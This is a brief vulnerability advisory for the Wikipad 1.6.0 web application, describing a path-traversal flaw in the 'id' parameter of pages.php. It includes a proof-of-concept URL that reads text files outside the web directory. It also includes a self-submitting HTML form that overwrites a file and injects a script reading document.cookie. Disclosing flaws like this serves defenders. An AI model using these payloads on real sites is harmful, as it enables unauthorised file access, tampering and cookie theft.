Vulnerability ID: HTB22827
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_wikipad.html
Product: Wikipad
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )
Vulnerable Version: 1.6.0
Vendor Notification: 01 February 2011
Vulnerability Type: File Content Disclosure
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "/pages.php" script to properly sanitize user-supplied input in "id" variable. We can disclose content of ".txt" files on file system.
The following PoC is available:
http://host/pages.php?id=./../../../../../txt_file
Also, we can change content of this file by using PoC:
<form action="http://host/pages.php?action=edit&id=./../../../../../txt_file&title=test" method="post" name="main">
<input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>